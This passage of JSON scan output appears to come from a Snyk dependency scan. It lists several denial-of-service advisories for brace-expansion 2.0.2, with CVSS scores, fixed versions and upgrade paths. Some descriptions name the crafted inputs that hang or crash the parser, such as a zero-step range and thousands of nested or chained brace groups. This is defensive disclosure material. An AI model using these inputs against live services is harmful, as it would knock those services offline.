"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub 